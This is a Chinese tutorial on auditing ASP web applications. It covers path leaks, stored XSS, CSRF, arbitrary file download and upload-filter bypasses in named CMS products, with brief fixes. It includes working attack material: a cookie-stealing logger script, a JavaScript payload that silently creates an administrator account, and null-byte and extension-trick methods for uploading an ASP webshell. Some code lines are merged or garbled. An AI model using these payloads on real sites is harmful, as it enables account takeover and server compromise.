0x01 ASP简介:
ASP是一种服务器端脚本编写环境,可以用来创建和运行动态网页或Web应用程序。ASP网页可以包含HTML标记、普通文本、脚本命令以及COM组件等。利用ASP可以向网页中添加交互式内容(如在线表单),也可以创建使用HTML网页作为用户界面的web应用程序。
0x02 ASP漏洞介绍:
一.数据库路径泄露 (DataBase Path Leak)
概述:数据库路径泄露主要表现在ASP+Access搭建的WEB中,当攻击者提交%5c的时候,IIS会解析错误,导致输出了真实数据库路径, %5c是的十六进制代码,也就是的另一种表示方法。
漏洞原理:我们在提交数据的时候,IE会自动把%5c转换成/,从而得到同一地址。在asp类型网站中,都会用到一个数据库连接的文件,名字一般是conn.asp。
漏洞代码:这里我用动力文章系统做案例,代码如下:
- <%
- dim conn
- dim connstr
- dim db
- db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"
- '数据库文件的位置
- Set conn = Server.CreateObject("ADODB.Connection")
- connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data
- Source=" & Server.MapPath(db)
- conn.Open connstr
- %>
漏洞利用:当访问http://www.aspmps.com/cn%5cconn.asp IIS就会报错将数据库绝对路径输出到客户端,如下图所示
漏洞修复:修补此漏洞的方法有2种,第一种在conn.open connstr 代码之前加入 On Error Resume Next ,第二种方法在IIS服务器配置选项中选择“向客户端发送下列文本错误消息”。如下图2所示
概述:Cross-site scripting(XSS),是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如,包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆,通常将跨站脚本缩写为XSS。攻击者一般会利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)或发起phishing攻击,网页挂马,cookie窃取等。Xss跨站攻击分为两种,一种反射型攻击,还有一种存储型攻击。反射型攻击和源码审计关系不大,在此略过,重点介绍下存储型攻击。
漏洞原理:存储型攻击就是将恶意代码通过交互页面植入数据库中,当管理员访问到调用恶意代码的页面时,攻击变产生了。例如在某系统留言反馈栏目中留言内容表单未经过安全处理,客户端可以任意提交恶意代码,导致了XSS跨站漏洞。
漏洞代码:
- <%
- Content = ""
- For i = 1 To Request.Form("Content").Count
- ContentContent = Content & Request.Form("Content")(i)
- Next
- ………… //省略部分代码
- rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
- rs("Guest_TEL")=HTMLEncode(Guest_TEL)
- rs("Guest_FAX")=HTMLEncode(Guest_FAX)
- rs("Content")=Content
- rs.Update
- %>
漏洞利用:
- <%
- c=Request.ServerVariables("QUERY_STRING")
- testfile=Server.MapPath("cookies.txt")
- set fs=server.CreateObject("scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.Writeline(""&c& "")
- thisfile.close
- set fs = nothing
- %>
三.跨站请求伪造攻击(Cross Site Request Forgery)
概述:CSRF是Cross Site Request Forgery的缩写,直译过来就是跨站请求伪造的意思,通常用来指 WEB 网站的这一类漏洞,即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL ,从而达到改变服务器端数据的目的。
漏洞原理:结合跨站漏洞,利用JS脚本代码,做管理员身份才能做的事,但这种动作非管理员本身的请求。
漏洞代码:此系统中有个安全过滤函数HTMLEncode,代码如下:
- <span style="font-family: Arial, Verdana, sans-serif;">
- Public Function HTMLEncode(str)</span>
- If Not IsNull(str) Then
- str = Replace(str, Chr(38), "&")
- str = Replace(str, "<", "<")
- str = Replace(str, ">", ">")
- str = Replace(str, Chr(9), " ")
- str = Replace(str, Chr(32), " ")
- str = Replace(str, Chr(34), """)
- str = Replace(str, Chr(39), "'")
- str = Replace(str, Chr(13) & Chr(10), " ")
- str = Replace(str, Chr(10), " ")
- str = Replace(str, Chr(13), " ")
- HTMLEncode = str End If End Function //以下是漏洞关键点
- Content = ""
- For i = 1 To Request.Form("Content").Count Content
- Content = Content & Request.Form("Content")(i) Next ………… //省略部分代码
- rs("Guest_ZIP")=HTMLEncode(Guest_ZIP)
- rs("Guest_TEL")=HTMLEncode(Guest_TEL)
- rs("Guest_FAX")=HTMLEncode(Guest_FAX)
- rs("Content")=Content rs.Update
漏洞利用:利用方法如图所示
- var request = false;
- if(window.XMLHttpRequest) {
- request = new XMLHttpRequest();
- if(request.overrideMimeType) {
- request.overrideMimeType('text/xml');
- }
- } else if(window.ActiveXObject) {
- var versions = ['Microsoft.XMLHTTP',
- 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP',
- 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0',
- 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0',
- 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
- for(var i=0; i<versions.length; i++) {
- try {
- request = new ActiveXObject(versions[i]);
- } catch(e) {}
- }
- }
- xmlhttp=request;
- add_admin();
- function add_admin(){
- var url="/admin/SysAdmin_Add.asp?Action=SysAdmin_Add";
- var params ="SiteControl_LoginName=topsec&SiteControl_LoginPass=
- 123456&SiteControl_RealName=topsec&imageField.x=24&imageField.y=8";
- xmlhttp.open("POST", url, true);
- xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- xmlhttp.setRequestHeader("Content-length", params.length);
- xmlhttp.setRequestHeader("Connection", "close");
- xmlhttp.send(params);
- }
植入如图所示的一段代码后,当管理员进入后台去查看此留言的时候就会触发该漏洞,系统会自动给我们加上账户为topsec,密码为123456的管理员。
漏洞修复:加入token认证,修复前台跨站漏洞。
四.任意文件下载(Arbitrary File Download)
概述:如果系统存在stream流模式下载模块,而对应下载文件的地址没有做过安全过滤处理,则会发生任何文件都可被下载的安全隐患,在windows平台下此问题更加严重。
漏洞原理:Windows系统支持“.asp+空格”和“.asp+.”等同于“.asp”文件,如果存在下载模块未加验证,则可以下载任意文件。
漏洞代码:下面以沸腾展望系统经典下载漏洞源码做介绍。关键源码如下:
- <%
- Dim Stream
- Dim Contents
- Dim FileName
- Dim TrueFileName
- Dim FileExt
- Dim SavePath
- Const adTypeBinary = 1
- FileName = Request.QueryString("FileName")
- If FileName = "" Then
- Response.Write "无效文件名!"
- Response.End
- End if
- FileExt = Mid(FileName, InStrRev(FileName, ".") + 1)
- Select Case UCase(FileExt)
- Case "ASP", "ASA", "ASPX", "ASAX", "MDB"
- Response.Write "非法操作!"
- Response.End
- End Select
- Response.Clear
- if lcase(right(FileName,3))="gif" or lcase(right(FileName,3))="jpg"
- or lcase(right(FileName,3))="png" then
- Response.ContentType = "image/*" '对图像文件不出现下载对话框
- else
- Response.ContentType = "application/ms-download"
- end if
- Response.AddHeader "content-disposition", "attachment; filename=" &
- GetFileName(Request.QueryString("FileName"))
- Set Stream = server.CreateObject("ADODB.Stream")
- Stream.Type = adTypeBinary
- Stream.Open
- SavePath = FileUploadPath '存放上传文件的目录
- TrueFileName = SavePath & FileName
- Stream.LoadFromFile Server.MapPath(TrueFileName)
- While Not Stream.EOS
- Response.BinaryWrite Stream.Read(1024 * 64)
- Wend
- Stream.Close
- Set Stream = Nothing
- Response.Flush
- Response.End
- %>
上述代码粗体部分是漏洞形成的关键代码,首先程序通过 Request.QueryString("FileName") 方法指定任意文件名,虽然程序在下面判断了文件后缀名,可是并没有对后缀名进行安全处理,导致客户端可以在后缀名之后加上空格的URL编码从而绕过程序的验证,文件被下载。
漏洞利用:利用方法如下图
漏洞修复:修补的方法也很简单,下载文件前最好带入数据库查询,存在则下载。还有种方法,用正则表达式去限制。
五.无组件上传(File Upload)
概述:上传漏洞在ASP程序漏洞中表现的格外抢眼,各种利用手法层出不穷,以下就分别介绍最常见的三种上传漏洞,分别是“截断上传漏洞” , “变量继承上传漏洞” , “验证不严谨上传漏洞” 。
漏洞原理:有十六进制截断,变量逻辑继承,对后缀名验证不严谨,还有的压根不验证后缀名的上传。
漏洞代码:1.首选介绍截断上传,动网论坛作为曾经风靡一时的ASP论坛,也被爆出了各种漏洞,其中以上传漏洞最具代表性,下面就以知名程序动网来做分析。出现漏洞的文件位于Upfile.asp,核心代码如下:
- <%
- dim upload,file,formName,formPath,iCount,filename,fileExt
- set upload=new upload_5xSoft
- formPath=upload.form("filepath") '//漏洞关键点
- if right(formPath,1)<>"/" then formPathformPath=formPath&"/"
- for each formName in upload.objFile
- set file=upload.file(formName)
- fileExt=lcase(right(file.filename,4))
- '//从文件名中截取后4位,并转换为小写字符。
- if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip"
- and fileEXT<>".rar" and fileEXT<>".swf"then
- response.write "文件格式不正确 [ 重新上传 ]"
- response.end
- end if
- randomize
- ranNum=int(90000*rnd)+10000
- filename=formPath&year(now)&month(now)&day(now)&hour(now)
- &minute(now)&second(now)&ranNum&fileExt
- '//漏洞关键点filename由提交的文件路径+年月日的随机文件名+转换后的扩展名组成
- if file.FileSize>0 then
- file.SaveAs Server.mappath(FileName)
- response.write "上传成功!"
- end if
- set file=nothing
- %>
攻击者将正常数据包抓取后修改formPath = “../images/a.asp” + 空格,然后用C32ASM 16进制模式修改空格变成00。因为00是终止符,上传的时候程序检测到00后就认为上传已经结束。如下图所示
2. 变量继承上传漏洞:当上传多个文件的时候某些上传程序变量逻辑混乱造成了变量继承,在下面就用大名鼎鼎的自由动力文章系统来做分析。攻击者可制作个HTML表单同时上传2个文件,第一个FILE控件中选择正常的rar文件,第二个FILE控件中选择一个Cer文件,在这个cer文件中写入ASP一句话木马。再修改Form中的Action值即可提交成功。如下图
- <%
- const UpFileType="rar|zip|exe|mpg|rm|wav|mid"
- dim upload,oFile,formName,SavePath,filename,fileExt,oFileSize
- dim EnableUpload
- dim arrUpFileType
- dim ranNum
- dim msg,FoundErr
- msg=""
- FoundErr=false
- EnableUpload=false
- for each formName in upload.file '列出所有上传了的文件
- set ofile=upload.file(formName) '生成一个文件对象
- oFileSize=ofile.filesize
- if oFileSize<100 then="" msg="请先选择你要上传的文件!"
- founderr="True" elseif="" ofilesize="">(MaxFileSize*1024) then
- msg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!"
- FoundErr=true
- end if
- fileExt=lcase(ofile.FileExt)
- arrUpFileType=split(UpFileType,"|")
- for i=0 to ubound(arrUpFileType)
- if fileEXT=trim(arrUpFileType(i)) then
- EnableUpload=true ' 第一关上传文件符合rar后缀名,EnableUpload = true
- exit for
- end if
- next
- if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
- EnableUpload=false
- '第二关检验是否属于三种禁传类型,因为不属于,变量EnableUpload仍为true。
- end if
- if EnableUpload=false then
- ' 第三关 如果EnableUpload=false,那么FoundErr=true,
- 而前面传递来的EnableUpload=true,那FoundErr仍为进入第一个FOR循环之前的false。
- msg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType
- FoundErr=true
- end if
- if FoundErr<>true then
- ' 第四关 如果FoundErr<>true就可以通过,看一下从第三关传递过来的FoundErr的值,是 false,可以上传。
- FileName=SavePath & ofile.FileName
- If IsObjInstalled("Scripting.FileSystemObject") Then
- dim fso
- set fso=CreateObject("Scripting.FileSystemObject")
- if fso.FileExists(Server.mappath(FileName)) then
- randomize
- ranNum=int(900*rnd)+100
- filename=SavePath&year(now)&month(now)&day(now)
- &hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
- end if
- set fso=nothing
- end if
- ofile.SaveToFile Server.mappath(FileName)
- %>
- <%
- Private Function FixName(Byval UpFileExt)
- If IsEmpty(UpFileExt) Then Exit Function
- FixName = Lcase(UpFileExt)
- FixName = Replace(FixName,Chr(0),"")
- FixName = Replace(FixName,".","")
- FixName = Replace(FixName,"'","")
- FixName = Replace(FixName,"asp","")
- FixName = Replace(FixName,"asa","")
- FixName = Replace(FixName,"aspx","")
- FixName = Replace(FixName,"cer","")
- '第一关检查,ccerer变成了cer 成功绕过
- FixName = Replace(FixName,"cdx","")
- FixName = Replace(FixName,"htr","")
- FixName = Replace(FixName,"shtml","")
- End Function
- Private Function CheckFileExt(FileExt)
- Dim Forumupload,i
- CheckFileExt=False
- If FileExt="" or IsEmpty(FileExt) Then
- CheckFileExt = False
- Exit Function
- End If
- If FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="shtml" Then
- ' 第二关 cer并不在检测范围内,成功绕过
- CheckFileExt = False
- Exit Function
- End If
- Forumupload = Split(InceptFile,",")
- For i = 0 To ubound(Forumupload)
- If FileExt = Trim(Forumupload(i)) Then
- ' 第三关 cer后缀名在数据库变量中 成功匹配
- CheckFileExt = True
- Exit Function
- Else
- CheckFileExt = False
- End If
- Next
- End Function
- %>
文章点评